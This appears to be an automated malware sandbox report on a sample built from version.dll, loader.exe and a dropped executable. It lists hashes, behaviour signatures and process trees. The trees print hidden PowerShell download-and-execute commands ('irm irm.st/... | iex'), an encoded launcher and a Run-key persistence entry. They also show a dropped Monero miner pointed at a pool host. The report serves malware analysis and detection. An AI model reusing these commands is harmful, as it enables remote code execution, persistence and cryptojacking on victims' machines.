Overview
overview
8Static
static
5auth\O4bL6Cpwn4kO.exe
windows10-2004-x64
8auth\O4bL6Cpwn4kO.exe
windows11-ltsc_2024-x64
8loader.exe
windows10-2004-x64
8loader.exe
windows11-ltsc_2024-x64
8vcruntime140.dll
windows10-2004-x64
1vcruntime140.dll
windows11-ltsc_2024-x64
1version.dll
windows10-2004-x64
8version.dll
windows11-ltsc_2024-x64
8Analysis
- max time kernel
149s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/10/2026, 18:38
Static task
static1
Behavioral task
behavioral1
Sample
auth\O4bL6Cpwn4kO.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
auth\O4bL6Cpwn4kO.exe
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral3
Sample
loader.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral4
Sample
loader.exe
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral5
Sample
vcruntime140.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral6
Sample
vcruntime140.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral7
Sample
version.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral8
Sample
version.dll
Resource
win11ltsc2024-20260911-en
General
- Target version.dll
- Size 124KB
- Sample261027-w97kqaec56
- SHA256 00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4
- MD5 410af86d672a4886ff7ecae3c8c0c5a7
- SHA1 e2308e96a4f97972dc3f382b8e23f776e5206aac
- SHA512 96695a111688b87f6c7073878a0f80190ca2fc1b5ec7b91f9e8f10cc2aae9a3b9b5a34596242dd9210f409502aa927f77f9a3404c354f8e95de5034800fb83a1
- SSDEEP 3072:PArsEFFJFC9pVpcGgD4H3zFOSwCYnn6iouckVPxIiTON4F:PArsqF7cpMdDC3JO6A
- TLSH T1D2C34B1BB6B5507BE26A8938C4530A05DF72BC918BA0ABDF07900DDA1E637D49F3DB11
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 1780 powershell.exe 8 2468 powershell.exe 9 5656 powershell.exe 10 5856 powershell.exe 11 5856 powershell.exe 13 3312 powershell.exe 14 5496 powershell.exe 15 1164 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 1780 powershell.exe 2468 powershell.exe 5656 powershell.exe 5856 powershell.exe 3312 powershell.exe 5496 powershell.exe 1164 powershell.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion O4bL6Cpwn4kO Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion O4bL6Cpwn4kO - Executes dropped EXE 1 IoCs
pid Process 796 SystemSettingsBroker.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/832533 | iex\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/483171 | iex\"" powershell.exe - Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1780 powershell.exe 2468 powershell.exe 1780 powershell.exe 2468 powershell.exe 2468 powershell.exe 5856 powershell.exe 5856 powershell.exe 5656 powershell.exe 5656 powershell.exe 5656 powershell.exe 5856 powershell.exe 5856 powershell.exe 3312 powershell.exe 3312 powershell.exe 3312 powershell.exe 5496 powershell.exe 5496 powershell.exe 5496 powershell.exe 1164 powershell.exe 1164 powershell.exe 1164 powershell.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 1780 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 5856 powershell.exe Token: SeDebugPrivilege 5656 powershell.exe Token: SeIncreaseQuotaPrivilege 5856 powershell.exe Token: SeSecurityPrivilege 5856 powershell.exe Token: SeTakeOwnershipPrivilege 5856 powershell.exe Token: SeLoadDriverPrivilege 5856 powershell.exe Token: SeSystemProfilePrivilege 5856 powershell.exe Token: SeSystemtimePrivilege 5856 powershell.exe Token: SeProfSingleProcessPrivilege 5856 powershell.exe Token: SeIncBasePriorityPrivilege 5856 powershell.exe Token: SeCreatePagefilePrivilege 5856 powershell.exe Token: SeBackupPrivilege 5856 powershell.exe Token: SeRestorePrivilege 5856 powershell.exe Token: SeShutdownPrivilege 5856 powershell.exe Token: SeDebugPrivilege 5856 powershell.exe Token: SeSystemEnvironmentPrivilege 5856 powershell.exe Token: SeRemoteShutdownPrivilege 5856 powershell.exe Token: SeUndockPrivilege 5856 powershell.exe Token: SeManageVolumePrivilege 5856 powershell.exe Token: 33 5856 powershell.exe Token: 34 5856 powershell.exe Token: 35 5856 powershell.exe Token: 36 5856 powershell.exe Token: SeDebugPrivilege 3312 powershell.exe Token: SeDebugPrivilege 5496 powershell.exe Token: SeIncreaseQuotaPrivilege 5496 powershell.exe Token: SeSecurityPrivilege 5496 powershell.exe Token: SeTakeOwnershipPrivilege 5496 powershell.exe Token: SeLoadDriverPrivilege 5496 powershell.exe Token: SeSystemProfilePrivilege 5496 powershell.exe Token: SeSystemtimePrivilege 5496 powershell.exe Token: SeProfSingleProcessPrivilege 5496 powershell.exe Token: SeIncBasePriorityPrivilege 5496 powershell.exe Token: SeCreatePagefilePrivilege 5496 powershell.exe Token: SeBackupPrivilege 5496 powershell.exe Token: SeRestorePrivilege 5496 powershell.exe Token: SeShutdownPrivilege 5496 powershell.exe Token: SeDebugPrivilege 5496 powershell.exe Token: SeSystemEnvironmentPrivilege 5496 powershell.exe Token: SeRemoteShutdownPrivilege 5496 powershell.exe Token: SeUndockPrivilege 5496 powershell.exe Token: SeManageVolumePrivilege 5496 powershell.exe Token: 33 5496 powershell.exe Token: 34 5496 powershell.exe Token: 35 5496 powershell.exe Token: 36 5496 powershell.exe Token: SeDebugPrivilege 1164 powershell.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3872 wrote to memory of 4196 3872 rundll32.exe 89 PID 3872 wrote to memory of 4148 3872 rundll32.exe 90 PID 4148 wrote to memory of 1780 4148 O4bL6Cpwn4kO 91 PID 3872 wrote to memory of 1376 3872 rundll32.exe 93 PID 1376 wrote to memory of 2632 1376 loader.exe 94 PID 2632 wrote to memory of 2468 2632 O4bL6Cpwn4kO 95 PID 1780 wrote to memory of 5856 1780 powershell.exe 100 PID 2468 wrote to memory of 5656 2468 powershell.exe 101 PID 3312 wrote to memory of 5496 3312 powershell.exe 107 PID 5856 wrote to memory of 796 5856 powershell.exe 109
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\version.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe"C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe"2⤵PID:4196
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C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"2⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5856 -
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig5⤵
- Executes dropped EXE
PID:796
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C:\Users\Admin\AppData\Local\Temp\loader.exe"C:\Users\Admin\AppData\Local\Temp\loader.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"3⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5656
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/483171 | iex"1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 43cafb557c649536eb33cc9f3cc4f07f08c0f6713a3e4a04cc7832db7e937a8b
- MD5 c82fea3fc40712300ce8fab82965ea41
- SHA1 986a358e50333723a330a45a6c886e21c7d41048
- SHA512 602a736341dbb0655b6a9fe3a9afbe6fb70f12265d41fe94540fcd290c326bf7852277f3be3b92d648632394da681b5097ab1289a3dcda1a47eb69b62e5157c9
- TLSH T1B5219837F3CC8614DC8A403A52CDAC0036B687DBC0DECE9BBB84D544B42F689DE69160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 ac12a27cabb714e5a571b5f98dd99eaf95150ac7aba2d213e3859f15831db8c5
- MD5 1860645b10ed036cf0ca7f866da39efc
- SHA1 8153d46057ed7f535656b51453c330d0d5e91352
- SHA512 9a6d9e5bf9e7a3a38ce022951730f26b2806d9d8c6f584e6f4b612930dcae77feb98fa0e52a4289e5df1a0c37c08ebb01d7e6164421fdf2e19fd7a941e87c6e3
- TLSH T155216B37F3CC8614D88A403A52CDAC0036B687DBC0DECE976B84D544B42F699DE69160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 08ce0f18f36cf51ccbfb2ad742ac3d71679e6b7103b2d42d7c09c081785bce6f
- MD5 286a5dbf1e4120093a4ba97ea7dfcd47
- SHA1 c9d7abe672ce2b5fe5a862aea3b78db7afdc6514
- SHA512 eeafb5dcbeeb6cb6ca79f6516f7ce8d6b0bd8823abeb47fcca50015851ea0b01b537aecfe733eb34343866915125dad586a3356a3e914d575662cc28fe91a8ca
- TLSH T147319937F3DC8621D889403A22DDAC0032B6C7DBC0DECF9B6B85E154A52F699DE69160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 629ae9c5d46e008d1e8c3ce9d8f9449d4a9255b22fcbace9af38a8ae51de2750
- MD5 764805bd1dc9febca6f6ad141400b032
- SHA1 570a32702e2710475fb8f9a40efce384303c6f99
- SHA512 663d212db5f35a1d5e5450e98db023cc3b35a21cd94948e357eebd326dc64e20192361016533b400b210c7adc6f29e45d3cb73485d8467021374a663015dbad8
- TLSH T120215733F3CC86A4D89A413650CEAC1036B787DB409FDEABAB84D559B42F689CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ro43t1cu.m1p.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH